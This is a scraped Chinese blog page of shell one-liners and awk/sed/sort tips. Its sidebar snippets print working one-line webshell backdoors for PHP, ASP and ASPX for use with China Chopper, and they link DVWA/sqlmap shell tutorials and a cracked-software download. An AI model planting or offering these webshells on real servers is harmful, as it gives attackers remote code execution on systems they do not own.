shell的一些一句话东西

一句话木马:初识木马练习 一句话木马: 不是mua,木马是根据撰写了恶意代码的文件,以实现恶意攻击的目的。 一句话木马就一句话,配合中国菜刀等工具可以实现数据的摄取。 php木马: <?php @eval($_POST['password']);?> asp是: <%eval request ("password")%> aspx是: <%@ Page Language="Jscript"%> <%eval(Request.Item["password"],"unsafe");%&gt 阅读详情
  1. time -p [程序] 可以在运行结束之后打印出所需时间...其他用法可以man time
  1. rpm -qa  查询redhat linux里面安装的所有软件...ubuntu下面可能不行,不过反正大型机下面又不是ubuntu.分页查看用 rpm -qa|more  然后如果想sort一下并且保存的话就 rpm -qa|sort >softwarelist.txt, 查看xxx软件装没装就用 rpm -qa |grep xxx
  1. 命令后面加上&即可在后台执行,,,,不妨拿gedit试试..
  1. ssh -X  连接上远端服务器之后,就可以运行图形界面的程序了.
  1. sudo su 是用root登陆!
  1. 文件切割 dd if=待切文件名 of=切后文件名 bs=多少字节作为切割单位 count=要切多少 skip=切割起点
  1. 文件合并 dd if=待装文件名 of=装后文件名 bs=多少字节作为组装单位 count=要装多少 skip=组装起点(从文件头开始)
  1. 解决令人发指的E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?的方法是 (确认没有有用的程序正在用lock之后) sudo rm /var/lib/dpkg/lock
  1. ps -aux  进程们的列表!
  1. cut可以提取第n列,或者第n个字节,cut -f1 取第一列,cut -b1,2,5取第1,2,5个字节 cut -c3-7 取第3-7个字符,cut -c2-可以提取第二个到最后的字符。后面加上文件名字即可。提取字符串m中的后n个字符串,可用echo ${m: -n},从n开始到k的字符串,用echo ${m: n:k},第k个字符之前的字符串,echo ${m: :k},如果想提取从头到倒数第n个字符(不包括倒数第n个),用echo ${m: :${#m}-n}
  1. shell的for 循环是这样的:

    shell的一些一句话东西 - 蚕豆 - 豆窝
    这里echo $X是要循环的部分( $X前面的 $表明其变量身份)。 注意do和done 附近的换行。
  1. 【awk】想把两列交换怎么办?用awk '{print $2,$1}' filename吧,在管道操作里面可以 ...操作|awk '{print $2,$1}' ,多列操作同理,还可以这样计算两列之和什么的 操作|awk '{print $2+$1}' 。
  1. 获取一个软链接的指向,用readlink
  1. shell里面想把什么东西的结果直接转化成变量,就直接把他们括起来在前面加$就行了 例如 $(readlink $XXX)
  1. gzip -cd 直接把.gz拿来当普通文件用。。。在stdout上输出解压缩后的文件内容。。当然 .gz都是单文件压缩
  1. 默认的sh脚本是不支持alias的,如果想用脚本内的alias,需要在脚本前面加上shopt -s expand_aliases才行。至于脚本外的alias貌似没法用……
  1. tee命令可以把输出打印到屏幕的同时输出成文件
  1. if的单行指令为if [ XX = XX ] ;then XX;elif [ ! xx = xx ]; then XXX;else XXXX;fi
  1. for的单行指令为 for X in DDD;do kkkkk${DIR##*/}k $X;done
  1. 输出文件名(去掉目录名) 用 basename file ,只输出路径名用dirname  file 。如果是文件夹的话只输文件夹名字,用${DIR##*/}其中DIR是文件夹的全路径
  1. 将目录下所有文件名存到数组中,用($DIR/*)其中$DIR是目录,这种方式下标是从0开始的
  1. 提取数组元素,用${ARRAY[0]}。。。获取数组长度(即数组元素个数)用echo ${#a[@]},遍历数组元素(从1到最后),用for i in ${a[@]}
  1. echo 里面,单引号表示既不替换$变量, 双引号替换$变量,echo  -e 表示替换转义符(\n之类);echo 不加-e表示不替换转义符(\n等)
  1. “或者”可以用OR 表示二选一。例如ls /mydoc/*.txt OR *.jpg
  1. cp -d 在拷贝软链接的时候,会保持拷过去的是链接,而非链接指向的文件。
  1. `xxxx`表示``所夹函数的结果
  1. cat list|while read aa;do mv `echo $aa|awk '{print $1".sam"}'` `echo $aa|awk '{print $2".sam"}'`;done 这个语句按照列表list,将所有带有第一列前缀的sam命名为 第二列前缀.sam
  1. 【PBS】批量删除任务,例如删除从1672597开始的9个任务:k=1672597;for i in `seq 1 9`;do qdel $k;let “k=$k+1";done
  1. bash中得到数列的方法:seq .例如seq 1 5得到1 2 3 4 5,而更简单的办法是{1..5}或者{a..z},和perl里面差不多。。例如for i in {1..5};do;done。然后如果想写chr1 chr2 chr3....chr10,则可chr{1..10}
  1. 想写个循环,包括1,2,3,4, 5,X,Y。咋办? for i in `seq 1 5` 'X' 'Y' ...........
  1. 打印文件绝对路径: echo ${PWD}/filename
  1. sed -n '2,$p' filename打印文件除首行之后的行
  1. 输出第6列大于20000000的。。gawk '$6>200000000{print $0}' file1
  1. 从文件里一行一行的读,最好用while read i ;do XXXXXX $i;done<filename; 一次从文件里读两行,参见

    shell的一些一句话东西 - 蚕豆 - 豆窝
  1. 将文件按第二列到第二列(-k2,2)的数值(-n)逆向(-r)排序sort -k2,2nr file
  1. 打印文件第一行第二列的数据sed -n "1p" file| cut -f2
  1. 【awk】匹配,拽出满足第4列不为[ATCGatcg]之一,且忽略大小写,第3列不等于第4列的行awk 'BEGIN{IGNORECASE=1;}$4!~/[ATCGatcg]/&&$3!=$4' file
  1. 计算字符串$var的长度${#var},从字符串$var里面计算字符$char的个数$var|tr -cd $char| wc -c
  1. 算式的结果,例如计算4+3 就用 $[4+3]
  1. 浮点计算,用外部计算器bc。scale代表保留的有效数字位数。echo "scale=4;1/3"|bc得到.3333,bc -l是直接算
  1. 【awk】打印匹配XXX的下一行:awk '/XXX/{getline;print;}'
  1. 命名管道

    shell的一些一句话东西 - 蚕豆 - 豆窝
  1. ls *m8 |wc -w 好像这个能统计目录下面*.m8文件的个数。。
  1. 【VI】查找替换方法: % s/word1/word2/g 可以把全文的word1替换成word2
  1. 【awk】引用外面的变量咋办?可以用双引号套单引号的格式。var="test";awk 'BEGIN{print "'$var'"}。。PS:血的教训啊:如果引用的变量是数值,并且还是要用来比大小的,那么引用完一定要强制转换成数字啊,+0或者int或者把单引号写在双引号外面什么的都行 !例如 c=30;awk '($9> ("'$c'"+0))' T_20x.filtered.raw  否则就和没过滤过一样!shell的一些一句话东西 - 蚕豆 - 豆窝
  1. 【awk】什么是BEGIN和END?BEGIN后面的{}里面装着循环起始前的内容,比如一些初始值。END后的{}装着循环结束后需要干的事情,例如打印XXX。而没有BEGIN和END的括号就是循环的时候对每行做的事情了。
  1. 【awk】 取消行末回车的办法:将print改成printf
  1. 【VI】改换外观方法:vi里面输入 :colorscheme 外观名(可用tab进行自动补全)
  1. touch 新建普通文件 mkfifo 新建命名管道文件
  1. paste 纵向拼接两个文件,相当于cbind。paste -s 矩阵转置。
  1. split 把一个大文件切成若干份。split -l 1000 file 把file切成若干份,每份1000行。
  1. whereis xx 在系统文件夹中寻找xx(打印所有路径),which xx 在系统文件夹中寻找xx(打印第一个路径)。locate file查找普通文件file,非即时但很快。find [目录] -name xx 在目录中寻找名字含xx的文件。
  1. 想找第一个文件中间的哪些行在/不在第二个文件中出现了?用comm 和diff吧。。具体用法请help。PS:用之前要sort。。
  1. kdesktop直接图形界面了……
  1. 【awk】分列符换行符怎么改?是什么??awk预定义RS(换行符),FS(读文件的分列符),ORS(输出时的换行符),OFS(输出时的分列符)变量分别为'\n'、'[ \t]+'、'\n'、' '。 awk 每一次输入文本时,NR(行数)变量自动加一,根据RS确定一次输入文本的内容将其赋给$0这一位置变量(是变量吆),再根据FS对其进行分域(也就是把各域的字符串分别赋给位置变量$1、$2、$3、... ;并且更新NR变量)

    shell的一些一句话东西 - 蚕豆 - 豆窝
  1. 想改后缀,例如把*.txt都改成*.rar可以用 mv file ${file%.txt}.rar,一般#是去掉左边,%是去掉右边,一个符号是最小匹配,两个符号是最大匹配。更详细的看这里http://blog.163.com/cleave@126/blog/static/354763862010112183639209/
  1. 如果变量名称也是变量怎么办?中括号[]解决问题。ks=4;i='s';printf $[k$i] 结果返回4.
  1. 【awk】else if的写法:就是else if
  1. sort -g可以针对科学计数法排序;sort针对第4列然后在逆向针对第3列进行排序怎么办? sort  -k4,4 -k3,3r逗号前面和后面表示排序参考块的起始和终止。r表示逆序,将r放在后面表示仅针对当前的块(也就是k3,3)逆序,而不是对所有。
  1. shell里面也有sleep,而且还是更加精锐的sleep,例如 sleep 1    睡眠1秒,sleep 1s    睡眠1秒,sleep 1m   睡眠1分,sleep 1h   睡眠1小时
  1. 【awk】拆分字符串:split($3,arr,",");将$3拆分,分隔符是逗号,,然后分割好的东西写到数组arr里面
  1. 【awk】数组循环遍历:可以for (i in arr){print arr[i]}
  1. 【awk】只针对某一列匹配awk '$3~/aaa/', 只针对某一段替换,awk '{gsub("-","",$2);}' file,但注意有时候可能会有分隔符错误,所以有必要在BEGIN里加上BEGIN{FS=“\t”;OFS="\t"}之类的
  1. 【awk】对多个文件进行操作除了用FNR(当前文件到了第几行)和NR(总共到了第几行)之外,还可以用ARGIND==X(注意,要gawk)过滤读到了第几个文件,X为1就是第一个文件。例如处理4个文件的: gawk 'BEGIN{FS="\t";OFS="\t"}(ARGIND==1){if(r!=$1&&NF>12){out[$1]=$12"\t"$13;tonmr[$1]=substr($7,4)}}(ARGIND==2&&NF>2){funcc[$1]=$2"\t"$3}(ARGIND==3&&FNR>1&&NF>13){ks=$4    ;for(i=5;i<=14;i++){ks=ks"\t"$i};exprr[$1]=ks}(ARGIND==4&&NF>2){splus="'$s'_"$3;if(out[splus]!=""&&funcc[$3]!=""&&exprr[tonmr[splus]]!=""){print $1"\t'$i'\t"tonmr[splus]"\t"    exprr[tonmr[splus]]"\t"$3"\t"out[splus]"\t"funcc[$3];next} }' $ortorigin $symbolslist $expfile $genelist>$nu.temp1
  1. fc-list查看linux下安装了哪些字体
  1. cal 9 1752 查看1752年9月的日历
  1. 【cat】把一大坨文件例如1.txt,2.txt....n.txt按照顺序cat到一起怎么办?无需艰难决定!for i in `seq 1 n`; do cat $i.txt >> output;done
  1. 【awk】如果需要匹配某个东西,并且该东西是变量的话,变量外面可以不用加//的。。。
  1. 【vim】对块进行缩进的方法:选中块 ,然后输入>
  1. 【awk】sub gsub gensub区别
    sub(a,b[,c]) 替换第一次匹配,匹配正则a,用b替换,c为指定替换目标是哪个域如$1,$2,若无c指$0,返回值为替换成功次数
    gsub(a,b[,c]) 全局替换,匹配正则a,用b替换,c为指定替换目标是哪个域如$1,$2,若无c指$0,返回值为替换成功次数
    gensub(a,b,c[,d])全局替换,匹配正则a,用b替换,c为指定替换目标是第几次匹配,d为指定替换目标是哪个域如$1,$2,若无d 指$0,返回值为target替换后内容(未替换还是返回target原内容),与sub、gsub不同的是,target内容替换后不改变。
  1. 【awk】index函数返回子字符串第一次被匹配的位置,偏移量从位置1开始。格式如下:index(string, substring)
  1. 【awk】match函数返回在字符串中正则表达式位置的索引,如果找不到指定的正则表达式则返回0。match函数会设置内建变量RSTART为字符串中子字符串的开始位置,RLENGTH为到子字符串末尾的字符个数。substr可利于这些变量来截取字符串。函数格式如下:match( string, regular expression )
  1. 判断文件为空的方法 对于文件i,若[ -s $i ]为真,则文件不为空。输出当前目录下所有空文件的方法:for i in * ;do if [ ! -s $i ] ;then echo $i;fi;done
  1. 【grep】匹配“A或B”的方法:grep -E 'A|B'
  1. 在空格隔开的字符串两端加括号()可以将其转换为数组。因此可以用这种方式将【awk】中的数组传递到外面来。str=`awk 'BEGIN{OFS=" "}(NR==1){for(i=3;i<=NF;i++){print $i}}' statmiRNAinfo.xls`;k=($str);echo ${k[2]}
  1. 在管道中,可以用/dev/stdin 来指代通过管道传过来的数据,如less a.txt |cat b.txt /dev/stdin
Kali Linux实战:基于DVWA靶场深入解析一句话木马攻防原理 Web安全的核心在于理解攻击原理与防御机制。文件上传漏洞是常见的Web应用安全风险,攻击者通过上传恶意脚本文件获取服务器控制权。其中,一句话木马因其代码简洁、功能强大而成为典型的攻击载荷,它利用服务器端脚本语言(如PHP的eval函数)动态执行远程指令,实现对目标系统的远程控制。从技术价值看,掌握其原理不仅能提升渗透测试能力,更是构建有效防御体系的基础。在安全评估与授权测试中,通过Kali Linux等专业平台,结合DVWA等漏洞靶场进行实战演练,可以系统学习从漏洞发现、利用到权限维持的完整攻击链,并深入理 阅读详情

相关推荐

Qt C++:跨平台开发利器

摘要: Qt C++是基于C++的跨平台开发框架,通过元对象系统、信号槽机制及模块化架构实现"一次编写,多端部署"。核心特性包括: 跨平台能力:覆盖桌面(Windows/macOS/Linux)、移动端(iOS/Android)、嵌入式及WebAssembly; 信号与槽:替代传统回调,实现对象间高效通信; UI组件库:200+预制组件支持QSS样式定制; 工具链:Qt Creator集成开发环境提供可视化设计、调试及多平台编译。 广泛应用于工业控制、车载系统、医疗设备及跨平台应用开发,

2202_75382767的博客 1683

shell中的条件语句,文件条件,数值比较,逻辑操作符

shell中经常会使用到条件测试的语句,常见的条件测试语句如下: 条件语句 说明 test 条件表达式 test和条件表达式之间至少有一个空格 [ 条件表达式 ] [] [[ 条件表达式 ]] [[]] 和条件表达式之间至两边各少有一个空格 ,&&、||,>、< 可以运用在[[]] ((条件表达式)) (())和条件表达式之间不需要空格 常用文件测试语句 条件语句 说明 -d d表示directory,判断目录是否存在,存在条件满足

LeoHan 330

S4 codingblock增加客户化字段的一些小问题

今天使用codingblock增加了两个客户化字段后(S4版本),查看常用的几个表 ACDOCA BSEG 等等两个客户化字段安静的出现在表内,以为没有问题了 。结果后来MM那边查看物料凭证时程序直接dump,后来开发查明原因居然是因为财务增加的这两个增强字段的原因。 报错如下图所示: 主要是因为增加了字段后,更新了后台表,但是没有自动更新到视图。就是MSEG表增加了这两个字段,但是呢他对应的视图NSDM_V_MSEG没有增加,导致两边的结构不一致。 所以要解决这个问题,只能在视图NSDM_V_MSEG增

m0_46145967的博客 3920

【渗透练习系列】DVWA的一次登录后通过Sqlmap拿到os-shell,命令执行写入一句话-01

一、前言 本次将通过DVWA靶机来展示怎样通过Sqlmap获取目标os-shell,得到命令执行权限,从而写入一句话木马,持续控制目标服务器。 二、测试 1.打开目标站点:http://192.200.30.126/DVWA/login.php,从网页后缀和wappalyzer浏览器插件来看,站点的编程语言为PHP。 2.输入账号跟密码登录后台,同时开启Burp抓取http包。 获取登录后的Cookie值: 3.找到存在SQL注入的模块。获取URL。 http://192.200.30.126/DVWA/v

书山上的云的博客 4856

UE4引擎分析获取UWord,GName,GetName,GObjectArray

UE4引擎具有很多固定特征和特性 所以我们在逆向UE4引擎开发的游戏的时候,可以利用这些特征和特性. 当然,正常思路逆向也是没问题的(例如我们的ttw课程全数据逆向),你就当多了一个针对于该引擎逆向的快捷方式 或则多了一个思路即可. 正常逆向+引擎分析,使逆向结果全面且快速.

任鸟飞2217777779的博客 1万+

Tessent ATPG进阶:解锁多种Fault Model的工程实践与选型指南

本文深入探讨Tessent ATPG中多种Fault Model的工程实践与选型策略,涵盖Stuck-at、Transition、Bridge等核心模型的应用场景与配置技巧。通过实际案例解析,展示如何组合不同Fault Model提升芯片测试覆盖率,特别针对汽车电子、超低功耗芯片等复杂场景提供专业解决方案。

weixin_30219613的博客 199

Shell脚本判断语句

一、条件测试操作 test命令 测试表达式是否成立,若成立返回0,否则返回其他数值 > 格式 1:test 条件表达式 > 格式 2:[ 条件表达式 ] ; 中括号两边需加空格 文件测试 > 1:[ 操作符 文件或目录 ] > 2:&? 返回0表示条件成立,返回非零值表示条件不成立 > 3:&& 逻辑与,"而且"的意思 > 4:|| 逻辑或,"或者"的意思 **常用的测试操作符** |常见的测试操作符|解释 | |--|--|

Rev1e的博客 3524

分子动力学模拟学习1-采用AmberTools21的MCPB.py构建金属蛋白的top文件

分子动力学模拟学习1-采用AmberTools21的MCPB.py构建金属蛋白的top文件

weixin_45011386的博客 3826

shell脚本中判断上一个命令是否执行成功

shell脚本中判断上一个命令是否执行成功 shell中使用符号“$?”来显示上一条命令执行的返回值,如果为0则代表执行成功,其他表示失败。 结合if-else语句实现判断上一个命令是否执行成功。 示例如下: if [ $? -ne 0 ]; then     echo "failed" else     echo "succeed" fi 或者: if

Maybe_Lee的博客 13万+

【计算机视觉 | 目标检测】目标检测常用数据集及其介绍(十一)

【计算机视觉 | 目标检测】目标检测常用数据集及其介绍(十一)

wzk4869的博客 738

反卷积通俗详细解析与nn.ConvTranspose2d重要参数解释

反卷积的作用 卷积中padding的几个概念 No Padding Half(Same) Padding Full Padding 反卷积 反卷积中的Padding参数 反卷积的stride参数 反卷积总结 参考资料

iioSnail的博客 2万+

linux qdel强制删除任务,ssh-使用qdel一次删除我的所有作业,而不是一次删除

ssh-使用qdel一次删除我的所有作业,而不是一次删除这是一个相当简单的问题,但我找不到答案。我在群集中运行大量作业(> 20),我想全部删除它们并重新开始。根据这个站点,我应该能够做到:qdel -u netid摆脱它们,但在我的情况下返回:qdel: invalid option -- 'u'usage: qdel [{ -a | -c | -p | -t | -W delay | -...

weixin_35048266的博客 4817

SAP和Oracle EBS作为全球顶级的ERP系统,在中国市场深耕数十年,尤其是在大型国企、央企和跨国企业中,已经形成了强大的用户习惯和“舒适区”依赖

国产ERP替代国际系统的关键挑战在于打破用户对SAP/Oracle的操作习惯和心理依赖。需采取多维策略:战略上明确价值主张、分阶段实施;产品上优化用户体验、确保数据迁移;实施上加强情景化培训、流程再造。成功替代70%取决于变革管理,需将"被动替换"转为"主动升级",让用户在新系统中建立更优的舒适区。

金牌架构师 383

SharePoint 2019 离线部署实战:Windows Server 2019 系统准备与依赖校验

SharePoint 是基于 Windows Server 的企业级协作平台,其部署本质是操作系统级集成工程。理解其依赖原理——如 .NET Framework 版本绑定、IIS 模块深度耦合、服务启动顺序与权限模型——是保障高可用性的前提。技术价值在于规避因网络隔离、策略限制或环境异构导致的安装失败;典型应用场景包括制造业OT内网、金融DMZ区及政务云等强管控离线环境。本文聚焦 SharePoint 2019 在 Windows Server 2019 上的离线部署核心路径,详解系统服务禁用逻辑、IIS

weixin_34391445的博客 463

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

学会这些shell命令,可以少百度很多东西

1. **安装与卸载** 2.root方式打开无障碍 3.快捷启动活动窗口(比如支付宝)

九黎AJ的博客 2997

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

YXcms之通过后台文件插马拿shell

PS:这篇可能没什么营养,但个人觉得有点意思,所以还是分享一下 进入页面可以看到公告有后台地址 进入后台 进入后台一开始我的想法是找个什么东西插个一句话木马啥的, 于是我就盯上了前台模板 一句话是插入了,但是我们得激活他啊,不知道路径那怎么访问呢。 按F12查了好久看了好久实在是找不到,也就作罢了 这个不行,那就换个页面咯, 访问这个页面,编译一下一句话,成功拿到shell了 但是很奇怪,因为这是个比较老的漏洞了,查了yxcms的所有漏洞没发现有这个,不过他这个文件写入就很像 难道是因为前

weixin_43071873的博客 2299

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

python自带的shell是什么-python shell是什么东西

python shell是Python的命令行。shell中最常用的是ls命令,python对应的写法是:os.listdir(dirname),这个函数返回字符串列表,里面是所有的文件名,不过不包含”.”和”..”。如果要遍历整个目录的话就会比较复杂一点,在解释器里试一下:>>> os.listdir(”/”)[’tmp’, "misc’, "opt’, "root...

weixin_37988176的博客 2402

模拟面试:Shell和Bash到底是什么关系?它们是同一个东西吗?

今天,我们不聊枯燥的八股文,也不搞压力面,我们来一场别开生面的“技术茶话会”。我们的议题,就藏在下面这个经典的、让无数萌新挠头的面试问题里:是不是感觉似曾相识?别慌,今天我们就以一篇超长的“优快云风格”技术杂谈,把这个问题的里里外外、前世今生掰开了、揉碎了,讲得明明白白、生动有趣。我们会模拟一场真实的面试对话,穿插各种脑洞大开的比喻,保证你听完之后,不仅能完美回答这个问题,还能在茶余饭后成为朋友圈里的“Linux梗王”。准备好了吗?我们的模拟面试,现在开始!场景:极客科技公司,一间摆着绿植、挂着代码艺术画

小李独爱秋的博客 1309

shell5(一些积累到的东西)

<< EOF >> 这个东西能输入多行。 当 shell遇到 <<这个东西就会认为后边的是一个分割符。遇到这个就会结束。而之前的东西都会被当做是输入。 所以可以做很多事情。 多行输入 [root@localhost ~]# vim eoftest.sh #!/bin/bash cat << END >> txt.txt 11111 2...

n_u_l_l_的博客 297

在shell编程中使用的一些东西

1. 脱义符 \ 如: \$12. $? 表示上一个命令是否成功执行3. read -p "this is read, please input:" readmem (-p表示先打印出来) 4. 善用 printf 比echo功能多 iltaek@iltaek-desktop:~$ printf "\t hello iltaek \t hi \n" hello ...

weixin_30846599的博客 97

shell命令行解释器—既陌生又熟悉的东西

今天做一个感性的认识来,用一个生活的例子。 你生活在有一条村子里面,在村的东边就是王婆,王婆呢?她主要做什么呢啊?她在村儿里面呢,也不种地啊,那她干什么呢?他主要做帮别人进行婚嫁论娶,做牵线工作,俗称媒婆。 你呢?住在你家西边。 将来毕业了啊,然后呢?找到了一份儿非常好的工作啊。比如说你叫张三,然后呢?你有一个老爹啊,那么你这个老爹呢?是一个村长 你也算是一个啊啊官二代啊啊,曾经呢那么一篇我的村长父亲呢?啊,那么在村里面呢,就相当

weixin_49529507的博客 954

关于shell脚本的一些东西

查看当前系统安装的shell cat /etc/shells 查看当前使用的shell echo $SHELL 改变shell脚本 chsh -s /bin/zsh 转载于:https://www.cnblogs.com/YiDuoHua/p/10852611.html...

weixin_30731287的博客 91

shell study-Shell脚本编程的常识(这些往往是经常用到,但是各种网络上的材料都语焉不详的东西,个人认为比较有用)

shell在线中文手册abs,shell中文教程,shell中文教程 - 海底苍鹰(tank)博客 http://manual.51yip.com/shell/ http://mprc.pku.edu.cn/mentors/training/TrainingCourses/material/ShellProgramming.HTM   SHELL脚本编程的常识 七种文

isuker的博客 1656

初识Shell——Shell的概念、查看Shell

一、Shell的概念 该程序的作用就是接收用户的操作(点击图标、输入命令),并进行简单的处理,然后再传递给内核。如此一来,用户和内核之间就多了一层“代理”,这层“代理”既简化了用户的操作,也保护了内核。 这层“代理”,在Linux下,这个命令行程序叫做 Shell。 Shell 是将内核、程序和用户连接了起来。 Shell 是一种脚本语言,我们编写完源码直接运行源码。 Shell 主要用来开发一...

weixin_42287162的博客 892

python里的shell是什么_python shell是什么东西?

是Python的命令行。shell中最常用的是ls命令,python对应的写法是:os.listdir(dirname),这个函数返回字符串列表,里面是所有的文件名,不过不包含”.”和”..”。如果要遍历整个目录的话就会比较复杂一点,在解释器里试一下:>>> os.listdir(”/”)[’tmp’, ‘misc’, ‘opt’, ‘root’, ‘.autorelabel’, ’sbin’, ...

weixin_39588679的博客 94
上一篇: grep , egrep ,fgrep
下一篇: awk 如何处理两个文件,实现类似数据库表连接的操作
no pay no gay
博客等级 码龄14年 73粉丝 1原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值